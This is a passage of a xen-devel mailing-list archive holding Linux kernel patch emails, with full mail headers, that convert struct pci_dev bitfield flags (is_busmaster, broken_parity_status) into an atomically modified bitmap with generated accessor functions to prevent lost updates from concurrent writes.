 		 * on NOT broken boards
 		 */
-		if (status && !dev->broken_parity_status) {
+		if (status && !pci_dev_broken_parity_status(dev)) {
 			if (status & (PCI_STATUS_SIG_SYSTEM_ERROR)) {
 				edac_printk(KERN_CRIT, EDAC_PCI, "Bridge "
 					"Signaled System Error on %s\n",
diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c
index 5ec0b245a69b..5e094d1e23e3 100644
--- a/drivers/pci/pci-sysfs.c
+++ b/drivers/pci/pci-sysfs.c
@@ -80,7 +80,7 @@ static ssize_t broken_parity_status_show(struct device *dev,
 					 char *buf)
 {
 	struct pci_dev *pdev = to_pci_dev(dev);
-	return sysfs_emit(buf, "%u\n", pdev->broken_parity_status);
+	return sysfs_emit(buf, "%u\n", pci_dev_broken_parity_status(pdev));
 }
 
 static ssize_t broken_parity_status_store(struct device *dev,
@@ -93,7 +93,7 @@ static ssize_t broken_parity_status_store(struct device *dev,
 	if (kstrtoul(buf, 0, &val) < 0)
 		return -EINVAL;
 
-	pdev->broken_parity_status = !!val;
+	pci_dev_assign_broken_parity_status(pdev, val);
 
 	return count;
 }
diff --git a/include/linux/pci.h b/include/linux/pci.h
index 9964646bdd46..fdcd9b1b7371 100644
--- a/include/linux/pci.h
+++ b/include/linux/pci.h
@@ -347,10 +347,13 @@ struct rcec_ea;
  *		bookkeeping state, maintained by pci_set_master(),
  *		pci_clear_master() and pci_disable_device(); modifying it
  *		does not itself change the hardware state.
+ * @PCI_DEV_FLAG_BROKEN_PARITY_STATUS: Device generates false positive
+ *		parity errors; set via sysfs.
  * @PCI_DEV_FLAG_COUNT: Number of defined struct_pci_dev_flags.
  */
 enum struct_pci_dev_flags {
 	PCI_DEV_FLAG_BUSMASTER = 0,
+	PCI_DEV_FLAG_BROKEN_PARITY_STATUS = 1,
 
 	PCI_DEV_FLAG_COUNT
 };
@@ -482,7 +485,6 @@ struct pci_dev {
 
 	unsigned int	no_msi:1;		/* May not use MSI */
 	unsigned int	block_cfg_access:1;	/* Config space access blocked */
-	unsigned int	broken_parity_status:1;	/* Generates false positive parity */
 	unsigned int	irq_reroute_variant:2;	/* Needs IRQ rerouting variant */
 	unsigned int	msi_enabled:1;
 	unsigned int	msix_enabled:1;
@@ -626,6 +628,7 @@ static inline void pci_dev_assign_##accessor_name(struct pci_dev *pdev, bool val
 }
 
 __create_pci_dev_flag_accessors(busmaster, PCI_DEV_FLAG_BUSMASTER);
+__create_pci_dev_flag_accessors(broken_parity_status, PCI_DEV_FLAG_BROKEN_PARITY_STATUS);
 
 #undef __create_pci_dev_flag_accessors
 

-- 
2.51.2



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 18:35:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 18:35:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360379.1613358 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXO-0002Tn-Vl; Sat, 11 Jul 2026 18:34:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360379.1613358; Sat, 11 Jul 2026 18:34:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXO-0002Su-Qt; Sat, 11 Jul 2026 18:34:54 +0000
Received: by outflank-mailman (input) for mailman id 1360379;
 Sat, 11 Jul 2026 15:21:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wiZWJ-0001H6-Cs
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 15:21:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiZWI-0094fa-IL
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 17:21:34 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f33-5cb7-0a2a0a5109dd-0a2a4505dcdc-32
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:34 +0200
Received: from [80.241.56.171] (helo=mout-p-201.mailbox.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f7e-4f1d-0a2a45050019-50f138ab8648-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:34 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org [10.196.197.102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-201.mailbox.org (Postfix) with ESMTPS id 4gyC8s58czzMlFw;
 Sat, 11 Jul 2026 17:21:33 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783293;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+/l7Xlwgc32SRo4MSsc6Qw/JiVZgPEEXCYL8AXhdB7g=;
	b=vNC6Nr8Qu+GAEZlEV//+bczXk5JjcPJWznDQiXnBFy48QVgQnoKKU6G0BwyiTsYd/cPzSl
	N2fsc9kmUUDjl/F7JMWNChYNPd4h5ors5BL8n/kDs55QGNLeWi60GgMVxZ/6+DxBfn1KHH
	Nx+FJq10I7wAfD/bMZtaoOh3BRX4DQLdw04vhMvksj+2ZAsK08ACiXzlu0H0FXVrPufl9o
	MeAuDi6b2W2KdZsjNaeYhaIsJ/jq+thJaE5aUXQXpl1JhtAI1MeKVnSYZH390u27CdSlot
	J+on4CbeW+nJOgukoXg8+k8/kAJu1gluMBR7muSIAkpAmsPpyiuEpaeqTs0cgw==
From: Maurice Hieronymus <mhi@mailbox.org>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783291;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+/l7Xlwgc32SRo4MSsc6Qw/JiVZgPEEXCYL8AXhdB7g=;
	b=adq2ry/uVyggAKv2tF+LozCCQKi72ZDJ5hkkep0oXTPNmMLzUhP2jR2qG1EoapxFVvxXAo
	Pn4WlzKfzjyGrEzeCbit25hbfaoOumavShFYHsb7YpfugGHtxo6IaohAuw5EuEPvoI/fWk
	+El95ldUl99KQu8xxoOMq2VGA/oNSgfncQ5f8/1LGzdO+oGTr9Eh/jgBukgFifgxOmK63v
	nzXEOCH2MmsrNekjdoef+T9BwPg1lQe4fyVzSCHLwIjQaKvhTYNvEYMZhK01GxfKVKiy3E
	9R1HoWfC+Mj3jMe7irk53eANjShhgTjnn/VRyReCnFnEQdYUhYEKkBDp9oLZUg==
Date: Sat, 11 Jul 2026 17:21:06 +0200
Subject: [PATCH 1/2] PCI: Replace pci_dev->is_busmaster with accessors
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-pci-dev-flags-v1-1-2fcf2811138c@mailbox.org>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
In-Reply-To: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
To: Edward Cree <ecree.xilinx@gmail.com>, 
 Andrew Lunn <andrew+netdev@lunn.ch>, 
 "David S. Miller" <davem@davemloft.net>, Eric Dumazet <edumazet@google.com>, 
 Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>, 
 Bjorn Helgaas <bhelgaas@google.com>, Justin Tee <justin.tee@broadcom.com>, 
 Paul Ely <paul.ely@broadcom.com>, 
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>, 
 "Martin K. Petersen" <martin.petersen@oracle.com>, 
 Juergen Gross <jgross@suse.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>, 
 Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>, 
 Gary Guo <gary@garyguo.net>, 
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, 
 Benno Lossin <lossin@kernel.org>, Andreas Hindborg <a.hindborg@kernel.org>, 
 Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>, 
 Daniel Almeida <daniel.almeida@collabora.com>, 
 Tamir Duberstein <tamird@kernel.org>, 
 Alexandre Courbot <acourbot@nvidia.com>, 
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, 
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>
Cc: Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org, 
 netdev@vger.kernel.org, linux-net-drivers@amd.com, 
 linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org, 
 linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org, 
 linux-edac@vger.kernel.org, Maurice Hieronymus <mhi@mailbox.org>
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783783272; l=8697;
 i=mhi@mailbox.org; s=20260525; h=from:subject:message-id;
 bh=UvTBMgm38RY8zEXs2NATRQuun95jyORW9mMSNxmV5FA=;
 b=pQSZj8wz+D4fY0P5+pOyu6Es4y8tnTZt88mjrg56g8MYWNwlgOVIFy3c+5QCEWgww49IBV8hS
 52acPwOKzvHB3t4voqsaavWiw/3UmrRwsmlYpGKuMcaEd6RHjAKdJJ5
X-Developer-Key: i=mhi@mailbox.org; a=ed25519;
 pk=AHlEkGG3hpXZHntlEzF42Ip/LFyXWOgsNUvaHqAnV80=
X-MBO-RS-META: er15gbymiuy8xweyxi8sy8tna1xynnrb
X-MBO-RS-ID: 4dfa2ffa0a7b52f860d
X-purgate-ID: tlsNG-c201ff/1783783294-DB34312E-A865C18A/0/0
X-purgate-type: clean
X-purgate-size: 8699

`is_busmaster` is one bit of a ~60-bit C bitfield in `struct pci_dev`.
Bits sharing a bitfield word must not be modified concurrently, but its
writers take no common lock: `pci_set_master()` can run without the
device lock (e.g. from runtime PM resume paths), `pci_disable_device()`
clears the bit, and other bits in the same word are written from
entirely different contexts, e.g. `broken_parity_status` from sysfs.
Concurrent read-modify-write cycles of the shared word can then lose
updates.

Move `is_busmaster` into a new `flags` bitmap modified with atomic
bitops and accessed through generated accessor functions, following the
example of commit a7cc262a1135 ("driver core: Replace dev->offline +
->offline_disabled with accessors"). More bitfield flags can follow the
same pattern later.

This also unblocks the Rust device enabling API rework [1], where a
guard object calls `pci_disable_device()` from contexts that may run
concurrently with `pci_set_master()`.

Link: https://lore.kernel.org/rust-for-linux/DJOEYVBS17MJ.1YD3TNGQBWHNK@kernel.org/ [1]
Suggested-by: Danilo Krummrich <dakr@kernel.org>
Cc: rust-for-linux@vger.kernel.org
Signed-off-by: Maurice Hieronymus <mhi@mailbox.org>
---
 drivers/net/ethernet/sfc/falcon/farch.c     |  2 +-
 drivers/net/ethernet/sfc/siena/farch.c      |  2 +-
 drivers/pci/pci-driver.c                    |  2 +-
 drivers/pci/pci.c                           |  6 ++---
 drivers/scsi/lpfc/lpfc_init.c               |  4 ++--
 drivers/xen/xen-pciback/conf_space_header.c |  4 ++--
 drivers/xen/xen-pciback/pciback_ops.c       |  4 ++--
 include/linux/pci.h                         | 37 ++++++++++++++++++++++++++++-
 8 files changed, 48 insertions(+), 13 deletions(-)

diff --git a/drivers/net/ethernet/sfc/falcon/farch.c b/drivers/net/ethernet/sfc/falcon/farch.c
index 23d507a3820d..42594bd7e818 100644
--- a/drivers/net/ethernet/sfc/falcon/farch.c
+++ b/drivers/net/ethernet/sfc/falcon/farch.c
@@ -724,7 +724,7 @@ int ef4_farch_fini_dmaq(struct ef4_nic *efx)
 	/* Do not attempt to write to the NIC during EEH recovery */
 	if (efx->state != STATE_RECOVERY) {
 		/* Only perform flush if DMA is enabled */
-		if (efx->pci_dev->is_busmaster) {
+		if (pci_dev_busmaster(efx->pci_dev)) {
 			efx->type->prepare_flush(efx);
 			rc = ef4_farch_do_flush(efx);
 			efx->type->finish_flush(efx);
diff --git a/drivers/net/ethernet/sfc/siena/farch.c b/drivers/net/ethernet/sfc/siena/farch.c
index 7613d7988894..f673af4c77b6 100644
--- a/drivers/net/ethernet/sfc/siena/farch.c
+++ b/drivers/net/ethernet/sfc/siena/farch.c
@@ -723,7 +723,7 @@ int efx_farch_fini_dmaq(struct efx_nic *efx)
 	/* Do not attempt to write to the NIC during EEH recovery */
 	if (efx->state != STATE_RECOVERY) {
 		/* Only perform flush if DMA is enabled */
-		if (efx->pci_dev->is_busmaster) {
+		if (pci_dev_busmaster(efx->pci_dev)) {
 			efx->type->prepare_flush(efx);
 			rc = efx_farch_do_flush(efx);
 			efx->type->finish_flush(efx);
diff --git a/drivers/pci/pci-driver.c b/drivers/pci/pci-driver.c
index f36778e62ac1..412afa12a285 100644
--- a/drivers/pci/pci-driver.c
+++ b/drivers/pci/pci-driver.c
@@ -649,7 +649,7 @@ static int pci_pm_reenable_device(struct pci_dev *pci_dev)
 	 * if the device was busmaster before the suspend, make it busmaster
 	 * again
 	 */
-	if (pci_dev->is_busmaster)
+	if (pci_dev_busmaster(pci_dev))
 		pci_set_master(pci_dev);
 
 	return retval;
diff --git a/drivers/pci/pci.c b/drivers/pci/pci.c
index 77b17b13ee61..c4fd6fe6098d 100644
--- a/drivers/pci/pci.c
+++ b/drivers/pci/pci.c
@@ -2045,7 +2045,7 @@ static void pci_enable_bridge(struct pci_dev *dev)
 		pci_enable_bridge(bridge);
 
 	if (pci_is_enabled(dev)) {
-		if (!dev->is_busmaster)
+		if (!pci_dev_busmaster(dev))
 			pci_set_master(dev);
 		return;
 	}
@@ -2205,7 +2205,7 @@ void pci_disable_device(struct pci_dev *dev)
 
 	do_pci_disable_device(dev);
 
-	dev->is_busmaster = 0;
+	pci_dev_assign_busmaster(dev, false);
 }
 EXPORT_SYMBOL(pci_disable_device);
 
@@ -4120,7 +4120,7 @@ static void __pci_set_master(struct pci_dev *dev, bool enable)
 			enable ? "enabling" : "disabling");
 		pci_write_config_word(dev, PCI_COMMAND, cmd);
 	}
-	dev->is_busmaster = enable;
+	pci_dev_assign_busmaster(dev, enable);
 }
 
 /**
diff --git a/drivers/scsi/lpfc/lpfc_init.c b/drivers/scsi/lpfc/lpfc_init.c
index 82af59c913e9..08dc06e7dfc2 100644
--- a/drivers/scsi/lpfc/lpfc_init.c
+++ b/drivers/scsi/lpfc/lpfc_init.c
@@ -14398,7 +14398,7 @@ lpfc_io_slot_reset_s3(struct pci_dev *pdev)
 
 	pci_restore_state(pdev);
 
-	if (pdev->is_busmaster)
+	if (pci_dev_busmaster(pdev))
 		pci_set_master(pdev);
 
 	spin_lock_irq(&phba->hbalock);
@@ -15251,7 +15251,7 @@ lpfc_io_slot_reset_s4(struct pci_dev *pdev)
 	 */
 	pci_save_state(pdev);
 
-	if (pdev->is_busmaster)
+	if (pci_dev_busmaster(pdev))
 		pci_set_master(pdev);
 
 	spin_lock_irq(&phba->hbalock);
diff --git a/drivers/xen/xen-pciback/conf_space_header.c b/drivers/xen/xen-pciback/conf_space_header.c
index 8b50cbcbdfe1..59a89f915916 100644
--- a/drivers/xen/xen-pciback/conf_space_header.c
+++ b/drivers/xen/xen-pciback/conf_space_header.c
@@ -81,10 +81,10 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data)
 			dev_data->enable_intx = 0;
 	}
 
-	if (!dev->is_busmaster && is_master_cmd(value)) {
+	if (!pci_dev_busmaster(dev) && is_master_cmd(value)) {
 		dev_dbg(&dev->dev, "set bus master\n");
 		pci_set_master(dev);
-	} else if (dev->is_busmaster && !is_master_cmd(value)) {
+	} else if (pci_dev_busmaster(dev) && !is_master_cmd(value)) {
 		dev_dbg(&dev->dev, "clear bus master\n");
 		pci_clear_master(dev);
 	}
diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c
index bfc186bf05bc..01f4705421c9 100644
--- a/drivers/xen/xen-pciback/pciback_ops.c
+++ b/drivers/xen/xen-pciback/pciback_ops.c
@@ -125,14 +125,14 @@ void xen_pcibk_reset_device(struct pci_dev *dev)
 		if (pci_is_enabled(dev))
 			pci_disable_device(dev);
 
-		dev->is_busmaster = 0;
+		pci_dev_assign_busmaster(dev, false);
 	} else {
 		pci_read_config_word(dev, PCI_COMMAND, &cmd);
 		if (cmd & (PCI_COMMAND_INVALIDATE)) {
 			cmd &= ~(PCI_COMMAND_INVALIDATE);
 			pci_write_config_word(dev, PCI_COMMAND, cmd);
 
-			dev->is_busmaster = 0;
+			pci_dev_assign_busmaster(dev, false);
 		}
 	}
 }
diff --git a/include/linux/pci.h b/include/linux/pci.h
index ebb5b9d76360..9964646bdd46 100644
--- a/include/linux/pci.h
+++ b/include/linux/pci.h
@@ -336,6 +336,25 @@ struct pci_sriov;
 struct pci_p2pdma;
 struct rcec_ea;
 
+/**
+ * enum struct_pci_dev_flags - Flags in struct pci_dev
+ *
+ * Each flag has a set of accessor functions created via
+ * __create_pci_dev_flag_accessors() and must only be accessed through
+ * them.
+ *
+ * @PCI_DEV_FLAG_BUSMASTER: Bus mastering is enabled on the device. Pure
+ *		bookkeeping state, maintained by pci_set_master(),
+ *		pci_clear_master() and pci_disable_device(); modifying it
+ *		does not itself change the hardware state.
+ * @PCI_DEV_FLAG_COUNT: Number of defined struct_pci_dev_flags.
+ */
+enum struct_pci_dev_flags {
+	PCI_DEV_FLAG_BUSMASTER = 0,
+
+	PCI_DEV_FLAG_COUNT
+};
+
 /* struct pci_dev - describes a PCI device
  *
  * @supported_speeds:	PCIe Supported Link Speeds Vector (+ reserved 0 at
@@ -461,7 +480,6 @@ struct pci_dev {
 	unsigned int	pref_64_window:1;	/* Pref mem window is 64-bit */
 	unsigned int	multifunction:1;	/* Multi-function device */
 
-	unsigned int	is_busmaster:1;		/* Is busmaster */
 	unsigned int	no_msi:1;		/* May not use MSI */
 	unsigned int	block_cfg_access:1;	/* Config space access blocked */
 	unsigned int	broken_parity_status:1;	/* Generates false positive parity */
@@ -592,8 +610,25 @@ struct pci_dev {
 	u8		tph_mode;	/* TPH mode */
 	u8		tph_req_type;	/* TPH requester type */
 #endif
+
+	/* PCI_DEV_FLAG_XXX flags. Use atomic bitfield operations to modify. */
+	DECLARE_BITMAP(flags, PCI_DEV_FLAG_COUNT);
 };
 
+#define __create_pci_dev_flag_accessors(accessor_name, flag_name) \
+static inline bool pci_dev_##accessor_name(const struct pci_dev *pdev) \
+{ \
+	return test_bit(flag_name, pdev->flags); \
+} \
+static inline void pci_dev_assign_##accessor_name(struct pci_dev *pdev, bool value) \
+{ \
+	assign_bit(flag_name, pdev->flags, value); \
+}
+
+__create_pci_dev_flag_accessors(busmaster, PCI_DEV_FLAG_BUSMASTER);
+
+#undef __create_pci_dev_flag_accessors
+
 static inline struct pci_dev *pci_physfn(struct pci_dev *dev)
 {
 #ifdef CONFIG_PCI_IOV

-- 
2.51.2



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 18:35:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 18:35:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360377.1613354 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXO-0002R1-Oj; Sat, 11 Jul 2026 18:34:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360377.1613354; Sat, 11 Jul 2026 18:34:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXO-0002Qu-KL; Sat, 11 Jul 2026 18:34:54 +0000
Received: by outflank-mailman (input) for mailman id 1360377;
 Sat, 11 Jul 2026 15:21:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wiZWB-0001Ga-V4
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 15:21:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiZWB-009l1H-AH
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 17:21:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f14-2eae-0a2a0a5409dd-0a2a4509e256-48
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:26 +0200
Received: from [80.241.56.152] (helo=mout-p-102.mailbox.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f76-b440-0a2a45090019-50f13898ed0e-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:26 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org
 [IPv6:2001:67c:2050:b231:465::102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-102.mailbox.org (Postfix) with ESMTPS id 4gyC8j6jmRzKvvr;
 Sat, 11 Jul 2026 17:21:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783285;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=kH44882xOwsD4SfCnl+qgk2oMqAUi2EehaDoPIzn3X4=;
	b=eMVI1NjNntkXUIL2KOm2VZts3RhfTzWVqESVgkEg1PEU0iNNOTLEy4oPU1sGltwuvADktu
	29XhMgFGgB99GHjLXkAn5ozkGwVXTnUWBBmNLahKBuKQI8RFu1nsjv2tvFKSfvmDAtyj1O
	lXeTa0MTvdh9lMX7wH0Z4HrZUVewtjTxlWk4QbVwtZ4evIKBzLeSF4SmncAmhlmzTH6lfO
	ksEtFi2KZ9Zd1uON+d5igIc2yOUDcSKi98kj00W2rAeb7w1IRkWpYlhnb4PTXyjwtXe5ay
	DtFsbogadRXZ3ZyFWqIHkaejjrBvgV4yEaPRdkLhep6OOvyMJ6Ju9mGHWYSjgw==
Authentication-Results: outgoing_mbo_mout;
	dkim=pass header.d=mailbox.org header.s=mail20150812 header.b=c8kmqXI9;
	spf=pass (outgoing_mbo_mout: domain of mhi@mailbox.org designates 2001:67c:2050:b231:465::102 as permitted sender) smtp.mailfrom=mhi@mailbox.org
From: Maurice Hieronymus <mhi@mailbox.org>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783283;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=kH44882xOwsD4SfCnl+qgk2oMqAUi2EehaDoPIzn3X4=;
	b=c8kmqXI9fAQXUpbVt8GLOdc11hNZaJUQQYsS5cxln0FyNygQRxXRLlPlY4A/0KF/KVlnyq
	89csec1W7y0LP0NuHF8OvgxGL8QwqVDg/yqjlR/tZT0U7N22e4zfIfz1jks9M3hooLWyED
	CDY1JGEot2RA0xGQ/m+LTSdmCoWb3snkaAPehAWthZ4c9C+ImtG2A76FPCgJ1/TbH/2vmO
	HwgjxsoeMhnxjxIUpu6BvcCkHiqsrmwmJoz/XnGg32ShT1AplRvrYoSH27jRz6L7EeMPnf
	xNMJZmtF3EhCBlrp2XnEluRXkziEHFi6I+wVebbtpQX2hdjgVnKSjqP8z4pXDQ==
Subject: [PATCH 0/2] PCI: Convert bitfield flags to atomic accessors
Date: Sat, 11 Jul 2026 17:21:05 +0200
Message-Id: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/yXMQQqDMBBA0auEWTuQ2KK0VykuTDKjIyWVjEpBc
 vem7fIt/j9BKQsp3M0JmQ5ReaUK1xgI85gmQonV0Nq2s71zuAbBSAfyc5wU2fvAV+abvTiozZq
 J5f37PYa/dfcLhe07gVI+47rh/HEAAAA=
X-Change-ID: 20260711-pci-dev-flags-fbbcf4ff9031
To: Edward Cree <ecree.xilinx@gmail.com>, 
 Andrew Lunn <andrew+netdev@lunn.ch>, 
 "David S. Miller" <davem@davemloft.net>, Eric Dumazet <edumazet@google.com>, 
 Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>, 
 Bjorn Helgaas <bhelgaas@google.com>, Justin Tee <justin.tee@broadcom.com>, 
 Paul Ely <paul.ely@broadcom.com>, 
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>, 
 "Martin K. Petersen" <martin.petersen@oracle.com>, 
 Juergen Gross <jgross@suse.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>, 
 Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>, 
 Gary Guo <gary@garyguo.net>, 
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, 
 Benno Lossin <lossin@kernel.org>, Andreas Hindborg <a.hindborg@kernel.org>, 
 Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>, 
 Daniel Almeida <daniel.almeida@collabora.com>, 
 Tamir Duberstein <tamird@kernel.org>, 
 Alexandre Courbot <acourbot@nvidia.com>, 
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, 
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>
Cc: Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org, 
 netdev@vger.kernel.org, linux-net-drivers@amd.com, 
 linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org, 
 linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org, 
 linux-edac@vger.kernel.org, Maurice Hieronymus <mhi@mailbox.org>
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783783272; l=2313;
 i=mhi@mailbox.org; s=20260525; h=from:subject:message-id;
 bh=o9XAWD66ai+0Z3WcwldrjMlSlthY+1Kqo3Oox8uMmS0=;
 b=4RJCYIsxz6UvLYOQ6xqvhVEQoQSh4rZQVVIc7mWtjntBUq4ccNJ2KYKolDjFHU49aAutOyaus
 A5Eqo668VqlDuoF/ENWHgCu8gHFoRAMIBVG+FaowFqe6tBmqjHocs5w
